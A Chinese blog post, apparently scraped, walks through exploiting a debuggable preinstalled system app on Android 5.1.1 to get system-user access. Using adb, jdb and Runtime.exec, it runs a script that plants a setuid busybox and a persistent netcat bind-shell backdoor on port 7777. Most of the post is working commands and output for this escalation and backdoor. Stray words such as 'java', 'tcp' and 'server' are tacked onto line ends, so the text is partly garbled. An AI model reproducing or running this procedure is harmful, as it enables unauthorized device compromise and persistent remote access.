Android Hack进行时: 取得了"system"用户,还需继续努力升格为root用户

Android 5.1.1, Linux 3.10.49java

发现了一个原装的系统应用,竟然能够被调试,反正出如今Android Studio的可调式进程清单里,看来是DEBUG版本就那样稀里糊涂的烧到主板里了。 先查查看用户身份:android

pm dump com.example.app

里面可以看到用户身份是"system"。 原本一个run-as就能够转换成这个身份了的,shell

run-as com.example.app

可是报错说没有这个package,缘由不明。好几个能够调试的app里,有的可以run-as,有的不行。app

那就转向jdb的路子:tcp

$ adb forward tcp:18600 jdwp:那个系统app的pid
$ jdb  -attach localhost:18600
> threads
group system:
  (java.lang.Thread)0x2a86 Signal Catcher        ...
  (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ...
  ... 
group main:
  (java.lang.Thread)0x2a8d main                   ...
  (java.lang.Thread)0x2a8e Binder_1               ...
  ...
> thread 0x2a8d
main[1] stepi
>  /*执行到这里后,打开手机动一下那个app触发调试器*/
stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22
   /*而后再输入print new...命令运行一个脚本以便启动一个shell server侦听7777端口*/
main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")

只是有几个/sdcard/...文件得事先传到手机上。 /sdcard/qj.sh:ui

date > /sdcard/log
cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1
chmod 4777 /data/busybox 2>> /sdcard/log || exit 1
(while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 &
echo server OK >> /sdcard/log

/sdcard/busybox:.net

[从这里下载](http://busybox.net/downloads/binaries/latest), 通常选armv7就好了。

而后用nc连上7777端口就能够连上后门shell server,输入任何命令都会以system身份之行。调试

adb forward tcp:7777 tcp:7777
nc localhost 7777

但是搞到手后发现离root还差一点,不可以改写/system下的东西,也不能mount。可以改/data下的东西,也颇有用,看看后面能不能找到方法升级成root。code

id命令的结果:server

uid=1000(system)
gid=1000(system)
groups=1000(system)
1007(log)
1010(wifi)
1015(sdcard_rw)
1021(gps)
1023(media_rw)
1028(sdcard_r)
3001(net_bt_admin)
3002(net_bt)
3003(inet)
3004(net_raw)
3005(net_admin)
3006(net_bw_stats)
3009(qcom_diag)
9997(everybody)
41000(u0_a31000)
context=u:r:system_app:s0
相关文章
相关标签/搜索